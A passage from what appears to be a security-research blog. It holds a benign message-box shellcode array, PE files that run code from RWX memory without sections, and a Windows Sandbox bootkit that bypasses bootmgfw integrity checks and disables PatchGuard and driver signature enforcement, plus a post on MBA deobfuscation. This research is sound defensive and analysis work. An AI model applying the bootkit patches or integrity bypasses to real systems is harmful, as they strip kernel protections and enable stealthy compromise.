	0x0F, 0xB7, 0x0A, 0x41, 0x3B, 0xC9, 0x74, 0x0D, 0xFF, 0xC0, 0x48, 0x83,
	0xC2, 0x02, 0x41, 0x3B, 0xC2, 0x72, 0xED, 0xEB, 0x3D, 0x44, 0x8B, 0x44,
	0x85, 0x00, 0x4C, 0x03, 0xC3, 0x74, 0x33, 0x41, 0x0F, 0xB6, 0x00, 0x33,
	0xD2, 0xB9, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x24, 0x66, 0x90,
	0x6B, 0xC9, 0x21, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42,
	0x0F, 0xB6, 0x04, 0x02, 0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xB4, 0x14,
	0x4F, 0x38, 0x75, 0x06, 0x45, 0x8B, 0x3B, 0x4C, 0x03, 0xFB, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x92, 0x45, 0x33,
	0xC9, 0xC7, 0x44, 0x24, 0x20, 0x54, 0x65, 0x73, 0x74, 0x4C, 0x8D, 0x44,
	0x24, 0x20, 0xC6, 0x44, 0x24, 0x24, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20,
	0x33, 0xC9, 0x41, 0xFF, 0xD7, 0xBA, 0x7B, 0x00, 0x00, 0x00, 0x48, 0xC7,
	0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0x5C, 0x24,
	0x60, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x48,
	0x8B, 0x7C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5F, 0x41, 0x5E,
	0x41, 0x5C, 0xC3
};

As a side note, several readers have asked how I created this sample code (previously used in another project) which works correctly in both 32-bit and 64-bit modes. The answer is very simple: it begins by storing the original stack pointer value, pushes a value onto the stack, and compares the new stack pointer to the original value. If the difference is 8, the 64-bit code is executed - otherwise, the 32-bit code is executed. While there are certainly more efficient approaches to achieve this outcome, this method is sufficient for demonstration purposes:

mov eax, esp	; store stack ptr
push 0		; push a value onto the stack
sub eax, esp	; calculate difference
pop ecx		; restore stack
cmp eax, 8	; check if the difference is 8
je 64bit_code
32bit_code:
xxxx
64bit_code:
xxxx

By appending this payload to the original headers above, we can generate a valid and functional EXE file. The provided PE headers contain a hardcoded SizeOfImage value of 0x100000 which allows for a maximum payload size of almost 1MB, but this can be increased if necessary. Running this program will display our message box, despite the fact that the PE headers lack any executable sections, or any sections at all in this case:

Demonstration #2 - Executable PE with spoofed sections

Perhaps more interestingly, it is also possible to create a fake section table using this mode as mentioned earlier. I have created another EXE which follows a similar format to the previous samples, but also includes a single read-only section:

The main payload has been stored within this read-only section and the entry-point has been updated to 0x1000. Under normal circumstances, you would expect the program to crash immediately with an access-violation exception due to attempting to execute read-only memory. However, this doesn’t occur here - the target memory region contains RWX permissions and the payload is executed successfully:

Notes

The sample EXE files can be downloaded here.

The proof-of-concepts described above involve appending the payload to the end of the NT headers, but it is also possible to embed executable code within the headers themselves using this technique. The module will fail to load if the AddressOfEntryPoint value is less than the SizeOfHeaders value, but this can easily be bypassed since the SizeOfHeaders value is not strictly enforced. It can even be set to 0, allowing the entry-point to be positioned anywhere within the file.

It is possible that this feature was initially designed to allow for very small images, enabling the headers, code, and data to fit within a single memory page. As memory protection is applied per-page, it makes sense to apply RWX to all PTEs when the virtual section size is lower than the page size - it would otherwise be impossible to manage protections correctly if multiple sections resided within a single page.

I have tested these EXE files on various different versions of Windows from Vista to 10 with success in all cases. Unfortunately it has very little practical use in the real world as it won’t deceive any modern disassemblers - nonetheless, it remains an interesting concept.

Bootkitting Windows Sandbox

29 August 2022 at 23:00

Introduction & Motivation

Windows Sandbox is a feature that Microsoft added to Windows back in May 2019. As Microsoft puts it:

Windows Sandbox provides a lightweight desktop environment to safely run applications in isolation. Software installed inside the Windows Sandbox environment remains “sandboxed” and runs separately from the host machine.

The startup is usually very fast and the user experience is great. You can configure it with a .wsb file and then double click that file to start a clean VM.

The sandbox can be useful for malware analysis and as we will show in this article, it can also be used for kernel research and driver development. We will take things a step further though and share how we can intercept the boot process and patch the kernel during startup with a bootkit.

TLDR: Visit the SandboxBootkit repository to try out the bootkit for yourself.

Windows Sandbox for driver development

A few years back Jonas L tweeted about the undocumented command CmDiag. It turns out that it is almost trivial to enable test signing and kernel debugging in the sandbox (this part was copied straight from my StackOverflow answer).

First you need to enable development mode (everything needs to be run from an Administrator command prompt):

CmDiag DevelopmentMode -On

Then enable network debugging (you can see additional options with CmDiag Debug):

CmDiag Debug -On -Net

This should give you the connection string:

Debugging successfully enabled.

Connection string: -k net:port=50100,key=cl.ea.rt.ext,target=<ContainerHostIp> -v

Now start WinDbg and connect to 127.0.0.1:

windbg.exe -k net:port=50100,key=cl.ea.rt.ext,target=127.0.0.1 -v

Then you start Windows Sandbox and it should connect:

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Using NET for debugging
Opened WinSock 2.0
Using IPv4 only.
Waiting to reconnect...
Connected to target 127.0.0.1 on port 50100 on local IP <xxx.xxx.xxx.xxx>.
You can get the target MAC address by running .kdtargetmac command.
Connected to Windows 10 19041 x64 target at (Sun Aug  7 10:32:11.311 2022 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.

Now in order to load your driver you have to copy it into the sandbox and you can use sc create and sc start to run it. Obviously most device drivers will not work/freeze the VM but this can certainly be helpful for research.

The downside of course is that you need to do quite a bit of manual work and this is not exactly a smooth development experience. Likely you can improve it with the <MappedFolder> and <LogonCommand> options in your .wsb file.

PatchGuard & DSE

Running Windows Sandbox with a debugger attached will disable PatchGuard and with test signing enabled you can run your own kernel code. Attaching a debugger every time is not ideal though. Startup times are increased by a lot and software might detect kernel debugging and refuse to run. Additionally it seems that the network connection is not necessarily stable across host reboots and you need to restart WinDbg every time to attach the debugger to the sandbox.

Tooling similar to EfiGuard would be ideal for our purposes and in the rest of the post we will look at implementing our own bootkit with equivalent functionality.

Windows Sandbox internals recap

Back in March 2021 a great article called Playing in the (Windows) Sandbox came out. This article has a lot of information about the internals and a lot of the information below comes from there. Another good resource is Microsoft’s official Windows Sandbox architecture page.

Windows Sandbox uses VHDx layering and NTFS magic to allow the VM to be extremely lightweight. Most of the system files are actually NTFS reparse points that point to the host file system. For our purposes the relevant file is BaseLayer.vhdx (more details in the references above).

What the article did not mention is that there is a folder called BaseLayer pointing directly inside the mounted BaseLayer.vhdx at the following path on the host:

C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer

This is handy because it allows us to read/write to the Windows Sandbox file system without having to stop/restart CmService every time we want to try something. The only catch is that you need to run as TrustedInstaller and you need to enable development mode to modify files there.

When you enable development mode there will also be an additional folder called DebugLayer in the same location. This folder exists on the host file system and allows us to overwrite certain files (BCD, registry hives) without having to modify the BaseLayer. The configuration for the DebugLayer appears to be in BaseLayer\Bindings\Debug, but no further time was spent investigating. The downside of enabling development mode is that snapshots are disabled and as a result startup times are significantly increased. After modifying something in the BaseLayer and disabling development mode you also need to delete the Snapshots folder and restart CmService to apply the changes.

Getting code execution at boot time

To understand how to get code execution at boot time you need some background on UEFI. We released Introduction to UEFI a few years back and there is also a very informative series called Geeking out with the UEFI boot manager that is useful for our purposes.

In our case it is enough to know that the firmware will try to load EFI\Boot\bootx64.efi from the default boot device first. You can override this behavior by setting the BootOrder UEFI variable. To find out how Windows Sandbox boots you can run the following PowerShell commands:

> Set-ExecutionPolicy -ExecutionPolicy Unrestricted
> Install-Module UEFI
> Get-UEFIVariable -VariableName BootOrder -AsByteArray
0
0
> Get-UEFIVariable -VariableName Boot0000
VMBus File SystemVMBus\EFI\Microsoft\Boot\bootmgfw.efi

From this we can derive that Windows Sandbox first loads:

\EFI\Microsoft\Boot\bootmgfw.efi

As described in the previous section we can access this file on the host (as TrustedInstaller) via the following path:

C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer\Files\EFI\Microsoft\Boot\bootmgfw.efi

To verify our assumption we can rename the file and try to start Windows Sandbox. If you check in Process Monitor you will see vmwp.exe fails to open bootmgfw.efi and nothing happens after that.

Perhaps it is possible to modify UEFI variables and change Boot0000 (Hyper-V Manager can do this for regular VMs so probably there is a way), but for now it will be easier to modify bootmgfw.efi directly.

Bootkit overview

To gain code execution we embed a copy of our payload inside bootmgfw and then we modify the entry point to our payload.

Our EfiEntry does the following:

  • Get the image base/size of the currently running module
  • Relocate the image when necessary
  • Hook the BootServices->OpenProtocol function
  • Get the original AddressOfEntryPoint from the .bootkit section
  • Execute the original entry point

To simplify the injection of SandboxBootkit.efi into the .bootkit section we use the linker flags /FILEALIGN:0x1000 /ALIGN:0x1000. This sets the FileAlignment and SectionAlignment to PAGE_SIZE, which means the file on disk and in-memory are mapped one-to-one.

Bootkit hooks

Note: Many of the ideas presented here come from the DmaBackdoorHv project by Dmytro Oleksiuk, go check it out!

The first issue you run into when modifying bootmgfw.efi on disk is that the self integrity checks will fail. The function responsible for this is called BmFwVerifySelfIntegrity and it directly reads the file from the device (e.g. it does not use the UEFI BootServices API). To bypass this there are two options:

  1. Hook BmFwVerifySelfIntegrity to return STATUS_SUCCESS
  2. Use bcdedit /set {bootmgr} nointegritychecks on to skip the integrity checks. Likely it is possible to inject this option dynamically by modifying the LoadOptions, but this was not explored further

Initially we opted to use bcdedit, but this can be detected from within the sandbox so instead we patch BmFwVerifySelfIntegrity.

We are able to hook into winload.efi by replacing the boot services OpenProtocol function pointer. This function gets called by EfiOpenProtocol, which gets executed as part of winload!BlInitializeLibrary.

In the hook we walk from the return address to the ImageBase and check if the image exports BlImgLoadPEImageEx. The OpenProtocol hook is then restored and the BlImgLoadPEImageEx function is detoured. This function is nice because it allows us to modify ntoskrnl.exe right after it is loaded (and before the entry point is called).

If we detect the loaded image is ntoskrnl.exe we call HookNtoskrnl where we disable PatchGuard and DSE. EfiGuard patches very similar locations so we will not go into much detail here, but here is a quick overview:

  • Driver Signature Enforcement is disabled by patching the parameter to CiInitialize in the function SepInitializeCodeIntegrity
  • PatchGuard is disabled by modifying the KeInitAmd64SpecificState initialization routine

Bonus: Logging from Windows Sandbox

To debug the bootkit on a regular Hyper-V VM there is a great guide by tansadat. Unfortunately there is no known way to enable serial port output for Windows Sandbox (please reach out if you know of one) and we have to find a different way of getting logs out.

Luckily for us Process Monitor allows us to see sandbox file system accesses (filter for vmwp.exe), which allows for a neat trick: accessing a file called \EFI\my log string. As long as we keep the path length under 256 characters and exclude certain characters this works great!

Procmon showing log strings from the bootkit

A more primitive way of debugging is to just kill the VM at certain points to test if code is executing as expected:

void Die() {
    // At least one of these should kill the VM
    __fastfail(1);
    __int2c();
    __ud2();
    *(UINT8*)0xFFFFFFFFFFFFFFFFull = 1;
}

Bonus: Getting started with UEFI

The SandboxBootkit project only uses the headers of the EDK2 project. This might not be convenient when starting out (we had to implement our own EfiQueryDevicePath for instance) and it might be easier to get started with the VisualUefi project.

Final words

That is all for now. You should now be able to load a driver like TitanHide without having to worry about enabling test signing or disabling PatchGuard! With a bit of registry modifications you should also be able to load DTrace (or the more hackable implementation STrace) to monitor syscalls happening inside the sandbox.

Improving MBA Deobfuscation using Equality Saturation

8 August 2022 at 23:00

This blog post will first give a brief overview of obfuscation based on Mixed-Boolean-Arithmetic (MBA), how it has historically been attacked and what are the known limitations. The main focus will then shift to an extension of the oracle-based synthesis approach, detailing how combining program synthesis with the equality saturation technique produces significantly more simplification opportunities. Finally, a set of examples spanning from different MBA categories over unsolved limitations up to future work ideas will hopefully serve as food for thoughts to the reader. Across the post, references to existing research are provided to delve into additional details and deepen the understanding of the topics.

Mixed-Boolean-Arithmetic Obfuscation

Mixed-Boolean-Arithmetic Obfuscation is a technique which represents an expression to be concealed in a semantically equivalent, but syntactically more complex form. For example, the expression x + y, can be rewritten as (x ^ y) + 2 * (x & y), effectively making its behaviour harder to comprehend.

Commonly, such MBAs can be found in advanced malware samples and real-world DRM systems, belonging to the strongest-known code obfuscation techniques. However, in recent years, various attacks have been developed; the next section will provide a brief overview of their strengths and limitations.

Common Attacks and Shortcomings

Several attacks have been published since the release of the original papers on Mixed-Boolean-Arithmetic Obfuscation 1, 2. While initial tools, like SSPAM, simplified MBAs via pattern matching, more sophisticated approaches rely on algebraic simplifications, machine learning or program synthesis. As of late, some methods also cleverly abuse intrinsic properties of certain sub-classes of MBAs.

Algebraic Attacks

Arybo makes use of the bit-blasting technique to convert a word-level expression into a bit-level representation—where each bit of the output is independently computed—and proceeds with applying boolean algebraic simplifications to obtain a shrinked version of the input expression. While extremely powerful, the idea falls short when the bit-blasting step has to handle big symbolic multiplications. Another issue is related to the fact that a human analyst may expect an easier-to-read word-level expression as output, while this may not be the case when processing instruction sequences with non-trivial semantics.

Worth mentioning are the ad-hoc algebraic attacks on the permutation polynomial MBA expressions devised by Ninon Eyrolles 3 and Biondi et al. 4. While attractive, the scope of both approaches is limited to the deobfuscation of a constant and is strongly dependent on the MBA generation process.

Stochastic Program Synthesis

Approaches like Stoke, Syntia and its extension Xyntia are based on methods which are known as stochastic program synthesis: They handle the expression simplification as a stochastic optimization problem. Their idea is to represent the obfuscated program as a vector of I/O pairs and learn an expression which has the same I/O behaviour. To achieve this, these approaches use a grammar to generate and mutate small expressions and combine this with a cost function which guides the search towards expressions with the same behaviour.

While stochastic synthesis works well to simplify semantically easy expressions, it has a hard time in finding more complex ones. Since these approaches also cannot simplify sub-expressions in an MBA, they are not successful in some of the semantically more complex cases that can be found in the wild.

Synthesis-based Expression Simplification

As a consequence, new methods have been introduced which re-use some program synthesis concepts, while also being able to simplify partial expressions. These methods can be described as synthesis-based expression simplification and have been introduced by Robin David et al. as QSynthesis. The open source projects QSynthesis and msynth are representatives of this technique.

Once a symbolic execution of the MBA is performed, the techniques represent the MBA as an abstract syntax tree (AST). Then, using a precomputed database (so-called oracle) which maps I/O behaviours to expressions, a divide-and-conquer strategy is adopted: The I/O behaviour of each sub-expression is evaluated and, when possible, sub-expressions are replaced by shorter representations from the database.

These approaches are the most generic to date. However, processing a unique representation of the MBA expression, they often miss synthesis opportunities that would otherwise lead to better results. A common example are sub-expressions that, if combined, would cancel out, but are too far away in the AST to be discovered by the technique.

Drill&Join

Drill&Join is a lesser known approach which strives to achieve exact inductive program synthesis of Boolean expressions. It has been repurposed by Biondi et al. to weaken opaque predicates protected via MBA obfuscation.

As with Arybo, the attack is particularly suitable if the expression needs to be processed by an SMT solver; however, also in this case, a bit-level output may not be appealing to a human analyst. Another major limitation mentioned in the paper is related to the improper support for expressions behaving as a point function (e.g. mathematical functions that show a certain behaviour for exactly one specific input).

MBA-Blast

MBA-Blast, and soon after MBA-Solver, provided the community with the first fully algebraic attack abusing properties of the main theorem to build linear MBA expressions. The authors devised a process to normalize the input MBA expression and are able to shrink them via basic algebraic simplifications.

The approach, while in its infancy, proved how reusing knowledge of the problem can be extremely effective; extensions to it are to be expected. The major limitation is to be found in the lack of support of expressions that cannot be trivially converted from word-level to bit-level, such as non-linear or polynomial MBAs.

Souper

Souper is a synthesizing superoptimizer for LLVM-IR that provides an implementation of exhaustive synthesis and CounterExample-Guided Inductive Synthesis (CEGIS). Worth noting are the attempts to synthesize big constants either via harvesting from the original expression or employing the CEGIS component to materialize them. Its current major limitation is the scalability on semantically complex instruction sequences.

NeuReduce

NeuReduce is a string-to-string method based on neural networks to automatically learn and reduce complex MBA expressions. A strong limitation of the approach is its inability to generalize to MBA expressions which are built using rewriting rules not part of the training set. In real-world scenarios, the used rewriting rules would also be hard to collect.

QSynthesis Limitations and Improvements

In the remaining parts of this post, we’ll delve into known QSynthesis limitations and explore ways to tackle them. We will especially take advantage of the fact that, having full access to the AST of the expression, enables the combination of information coming from both the syntactical and semantical worlds. Hence, the expression to simplify is assumed to be available to the attacker in the form of an assembly or intermediate representation.

QSynthesis Example

The following images, adapted from the original publication, exemplify the step-by-step exploration and synthesis procedure used by QSynthesis. Even though the updated version presented at Black Hat 2021 provides an improved exploration strategy, the main simplification steps are the same and their understanding is fundamental to grasp further extensions.

In the offline phase of the attack, the so-called oracle is computed using a grammar with simple constants, symbolic variables and n-ary operations:

  1. A set of M concrete values associated to the symbolic variables is randomly generated;
  2. Expressions of increasing complexity are obtained from the grammar, their I/O behaviour is calculated and the output vector, of size N, is mapped to an hash;
  3. Each hash and expression tuple is saved in the oracle, preserving the smallest expression in case a collision is found (e.g. the expressions A, A & A, A | A are equivalent).

The explanation of the online phase of the attack, assuming the availability of the precomputed oracle, follows. Furthermore, a top-down bottom-up placeholder-based exploration strategy is assumed to be driving the identification of the synthesizable sub-expressions.

In the next image, the sub-tree highlighted in red is deemed synthesizable by the oracle and associated to the smaller expression (A + B). An intermediate variable (V1) is created and substituted in the AST in place of all the sub-trees identical to the one that just got synthesized.

QSynthesis 0

In the left image, the now updated AST—with the placeholder nodes highlighted in blue—turns also out to be synthesizable, matching the behaviour of the smaller expression (A ^ V1). Once again, an intermediate variable (V2) is created and replaced in the AST. The right image shows the updated AST, which cannot be simplified any further.

QSynthesis 1 QSynthesis 2

The following images represent the intermediate variables (V1, V2) generated after a successful sub-tree synthesis and their simplified expansions, highlighted in green.

QSynthesis 3 QSynthesis 4

Starting from the fully updated AST—just containing the V2 node—we can expand the intermediate variables in reverse order, obtaining the fully synthesized AST depicted below.

QSynthesis 5

The official publications explain the two phases in greater details, so we highly suggest checking them out to gather a better understanding of the idea.

Locality Issues

The reliance on a unique syntactical representation of the input expression raises some less documented—but nonetheless important—shortcomings, which are here referred to as locality issues. For example, when an expression contains a large chain of additions, it may happen that the AST exploration algorithm completely misses valid synthesis opportunities, as some useful nodes are too far apart in the tree. Unluckily, the problem is not limited to addition chains; in fact, all operations with commutativity and associativity properties are affected.

This limitation becomes more apparent when handling MBAs where the terms replaced by more complex linear combinations are interleaved with each other or when a polynomial encoding is involved, scattering related nodes all over the obfuscated expression.

For example, consider the AST of the following expression (5*(A ^ B)) + (A & B), where the red/blue nodes represent the left/right addition operands.

AST 0

After applying the rewriting rules (x^y) = (~x|y)+(x&~y)-~(x^y) and (x&y) = (x|y)-(~x&y)-(x&~y), we obtain the following updated AST, which is easily handled by QSynthesis. In fact, the strictly related sub-trees—of the same colour—are locally next to each other, readily synthesizable by the oracle. The red/blue nodes now represent the obfuscated left/right addition operands, while the white nodes represent a chain of additions.

AST 1

Shuffling the terms which are part of the chain of additions, we reduce the synthesis opportunities, hindering the QSynthesis exploration algorithm to produce the best solution; in the end, we obtain only a partial simplification. This is due to the fact that now the strictly related sub-trees are not in local vicinity anymore.

AST 2

Constants Support

The original publication ignored the problem of synthesizing constants altogether and the idea of deriving them with an SMT solver was deemed too time consuming. However, the updated version mentions how some concrete values can be obtained preprocessing the expression with SymPy or by inserting simple constants during the oracle generation process.

The current open-source implementation details the possibility to synthesize nodes yielding a single constant; even though, the authors do not elaborate any further on the improvements due to the inclusion of concrete values in the database.

Attacks Combination

Some of the attacks mentioned in the previous chapter are orthogonal to QSynthesis, meaning that existing research can be successfully combined without loss of generality:

  • MBA-Blast can be used to simplify linear sub-expressions before proceeding with the oracle-based synthesis, enabling better support to non-linear or polynomial MBAs;
  • CEGIS can be used to synthesize sub-expressions that do not match the precomputed oracle and may possibly contain constants.

Before describing how another technique from the program analysis world, namely Equality Saturation, paves the way to even more powerful attacks, we demonstrate what a combined approach for constant synthesis may look like.

Templated Constants Synthesis

What follows is an attempt at combining oracle-based synthesis and CEGIS to increase the chance of simplifying a sub-expression involving constants.

As previously mentioned, Souper relies on CEGIS to infer valid concrete values: It generates a templated query containing symbolic placeholders where the constants should fit and proceeds with asking for a solution to the SMT solver. Therefore, we need to obtain the same template using our only source of information: the observed I/O behaviour. The idea has been divided in an offline phase, taking place just once, and an online phase, taking place every time a sub-expression does not match the main oracle.

Offline phase:

  1. An ad-hoc oracle of size 8 bits, involving three variables and two constants in the range [0-255] is computed;
  2. Expressions evaluating to the same oracle key are filtered to remove semantical duplicates and added to the same bucket;
  3. The constants in the entries are replaced by symbolic placeholders and remaining duplicates are removed;
  4. The entries in each bucket, now referred to as templates, are saved in ascending size order.

Online phase:

  1. The I/O behavior of the sub-expression is truncated to 8 bits to compute a new oracle key used to query the ad-hoc oracle;
  2. If a match is found, the list of templates in the bucket is iterated and used to query the SMT solver attempting to derive full bitwidth constants;
  3. In case of success, the symbolic placeholder(s) in the candidate template are replaced by the constant(s) and the node is considered to be synthesized.

The high-level idea is to drive a full bitwidth sub-expression synthesis with truncated bitwidth behaviours. As expected, limitations arise when the behaviours are not representative enough, leading to the iteration of hundred of possibly invalid templates.

A New Ingredient: Equality Saturation

Equality saturation is an optimization technique proposed by Tate et al. in 2009, and it relies on the e-graph data structure designed by Gregory Nelson in his PhD thesis in 1980. Recently, Willsey et al. released an improved equality saturation implementation called egg, whose resources have been used as a base for this proof of concept.

Historically, it has been used as a first-class synthesis technique, enabling improvements in projects involving: 3D CAD programs, floating point or algebra expressions. In this post, we will see how also MBA expressions can be dramatically simplified, if we combine equality saturation with oracle-based synthesis.

Building Blocks

From an implementation perspective, an e-graph is a data structure used to represent a congruence relation over a set of expressions. It is made of equivalence classes (e-classes), which, in turn, contain equivalent nodes (e-nodes). Some similarities can be found between an AST node and an e-node; in fact, each e-node represents an operator or a value. However, its children, when present, are references to e-classes and not to other e-nodes. Each e-node is unique; if some sub-expressions of an AST are identical, they will end up being the same e-node. This guarantees a compact and efficient representation.

The following image depicts a simple e-graph populated with the expression (A * B) + (A * C).

Step 0

  • The circles (e0 to e5) represent the e-classes, which, in the initial state of the e-graph, have a unique edge connected to the single e-node part of an equivalence class. Additional edges from e-classes to e-nodes will be added once new equalities are discovered.
  • The rectangles (ADD, MUL, A, B, C) represent the e-nodes, which can be divided in values (A, B, C) and operators (ADD, MUL). Each child of an operator is connected to an e-class by an edge.
  • The A value, appearing twice in the expression, has been converted into a single e-node part of a single e-class (e1), following the aforementioned compact representation.
  • The e5 e-class can referred to as the head of the e-graph, effectively representing the topmost node in the expression’s AST.

An in-depth explanation about the inner workings of equality saturation and the e-graph structure can be found in the egg’s official documentation.

Why Do We Need Equality Saturation?

At this point, the careful reader may have guessed that the main goal, for MBA deobfuscation, would be for us to have the possibility to explore a large number—potentially hundred of thousands—of equivalent representations of the input expression and be able to locate the one best suiting the oracle-based synthesis attack. Thankfully, an e-graph will let us represent a huge number of semantical equivalence relations between syntactically different expressions.

Equality saturation can add information to an e-graph using a technique called term-rewriting. The process consists in syntactically matching parts of an expression and transforming them into equivalent ones. This is usually achieved in two steps: the matching and rewriting phase. The matching phase, that uses pattern matching to identify sub-expressions for which equivalent representations are known; the rewriting phase, that generates new representations for the matched sub-expressions.

Unluckily, term-rewriting is by design a destructive technique, as any information about the original expression is lost as soon as the rewrite to the new expression is done. This raises issues if multiple rewrites are possible for the same matched sub-expression, as only one of those must be selected to proceed. Projects like SSPAM or LLVM’s peephole optimizer rely on heuristics to find the best rewriting candidate, minimizing some cost function. However, this opens the door to another problem, known as phase-ordering; this problem deals with the question of what happens when applying some rewrites in different orders. Given the rewriting rules R0 and R1, it could be that applying R0 before R1 leads to a worse result compared to applying R1 before R0; there’s no easy way to solve the problem (in fact, this problem is NP-complete).

The ideal solution would be able to apply all possible rewrites at the same time, preserving the intermediate equivalent representations of the starting expression and deciding at the end which candidate is the best. No need to look any further, as this is exactly what equality saturation does.

Cost Computation and Candidate Extraction

The last part of the equality saturation process consists in the cost computation and extraction of the best representation of the input expression. As for the stochastic synthesis, the cost computation plays an important role in driving the selection of the useful candidate sub-expressions. Depending on the goal, the cost function could be prioritizing the selection of smaller or faster nodes, even though—for the rest of the post—the logic will be to select the smallest AST nodes, basically optimizing towards shorter expressions. Once the costs have been computed, the extraction phase visits the needed e-classes in the e-graph, selecting the best possible representation of the input expression.

As a bonus, computing the cost after each iteration gives visibility on the quality of the process; if the e-graph grows at a too fast pace, computing the costs offers an opportunity to extract the best candidate expression and start a new equality saturation from scratch. This is usually referred to as a full e-graph reset.

Equality Saturation Example

The images below represent a step-by-step equality saturation execution applied to the expression (B + A) - B, in an attempt to simplify it. A and B are names given to complex sub-expressions that cannot be synthesized. The following rewriting rules are being applied at each iteration:

  • (x + (-x)) => 0
  • (x + y) => (y + x)
  • (x - y) => (x + (-y))
  • (x + (y + z)) => ((x + y) + z)

This is the state of the e-graph right after the insertion of the expression to process.

Step 0

These are intermediate states of the e-graph where all the rules have been applied against the e-nodes present in the previous state of the e-graph, leading to the addition of new equalities. On the left image we can observe how the e-class e2 is representing the equivalence between the expressions (B + A) and (A + B), thanks to the second rule, and how the e-class e6 is representing the equivalence between the expressions (B + A) - B, (A + B) - B, (B + A) + (-B) and (A + B) + (-B), thanks to the combination of the second and third rules. On the right image we can instead observe how the e6 e-class turned into the e7 e-class with the addition of the equivalent representations (-B) + (B + A) and (-B) + (A + B), again thanks to the second rule.

Step 1 Step 2

This can be considered the final state of the e-graph, even though it isn’t fully saturated (no more rewrites are possible), as it provides enough knowledge for the program synthesis to be fully effective on the input expression.

Step 3

In the final step, the e-classes and e-nodes which are part of the simplified expression (0 + A) are highlighted. As expected, an e-class (e8) represents the knowledge that ((-B) + B) is equivalent to 0.

QSynthesis Extension

In the upcoming paragraphs, we take advantage of the equality saturation properties to overcome the MBA deobfuscation limitations highlighted in the previous section. First, we focus on increasing the synthesis opportunities. After attempting to extend the support to the constants synthesis, we finally repurpose the runtime information to enhance the saturation loop.

Expression Morphing

As learned thus far, the input expression may not be in the most amenable form to guarantee good synthesis opportunities; therefore, it is important to find a way to morph it accordingly and make sure its semantical correctness is preserved.

Relying on equality saturation, the expression can be inserted in an e-graph and transformed to obtain an increasing amount of syntactically different but semantically equivalent representations, with the hope that at least one of them will be more synthesizable than it originally was. The good news is that, given an e-graph preserves all the intermediate information, at any given time the best possible candidate expression can be extracted from the e-graph, meaning that, employing this approach, the obtainable result is never going to be worse compared to avoiding it.

Given the nature of an MBA expression is strongly related to the properties of the involved arithmetic (add, sub, mul, neg) and logical (and, or, xor, not) operations, the minimal set of selected rewriting rules are commutativity, associativity and distributivity. To these, a set of equality and normalization rules have been added (e.g. rewriting neg into not, pushing not to the leaves of the expression). The list of rewriting rules currently employed by the proof of concept can be found in the Appendix.

The following example shows how the application of three rewriting rules (commutativity, associativity and not normalization) turns an expression which cannot be synthesized by an oracle using two variables into one which can be synthesized.

Simplified with a two variables oracle and using three rules
python3 synth.py
eclasses #: 11
Input (cost = 16): (~(((x+y)+(~(((x+y)+x)+y)))+(-z)))
====================================================================================================
eclasses #: 16
Synthesized (cost = 5): ((x+y)+z)
====================================================================================================

Constants Harvesting

Constant synthesis is a well known hard problem, although, using the aforementioned rewriting rules, a set of constants not originally present in the obfuscated expression starts appearing in the e-graph. Obviously, some are generated through the simple negation rules, but others are obtained with the repeated application of a non-trivial combination of rewriting rules that, moving some sub-expressions next to each other, lead to new synthesis opportunities.

As expected, this positive side effect turned out to be insufficient in most cases, so a further attempt to use the new information to improve the synthesis at runtime has been done. After each matching phase, the e-graph is updated with the discovered equalities, making it possible to identify all the e-classes of unit cost representing a constant. At this point the constants can be used to compute a smaller ad-hoc runtime oracle, available from the next synthesis iteration.

During the experiments the runtime oracle has been built with a single operation involving one variable and one constant. Assuming K harvested constants, an oracle with N binary operations and M input samples, K×N×M output samples need to be computed to obtain K×N new oracle entries. The oracle computation time is usually negligible, as the amount of harvested constants is contained compared to the total amount of possible constants in the bitwidth of the input expression.

The following examples show the same obfuscated expression simplified using different options. First, using CEGIS with the support of the constants oracle, which leads to the solution in one iteration. Then, via constants harvesting using the runtime oracle, taking five iterations. Finally, with the default rewriting rules, that in nine iterations lead to a simplified version of the original expression, but not to the best possible representation. Depending on the expression under analysis, the CEGIS option may be overkill and too slow, while standard rewriting rules or constants harvesting could be the right choice.

Simplified via constants oracle (CEGIS)
python3 synth.py --use-constants-oracle
eclasses #: 84
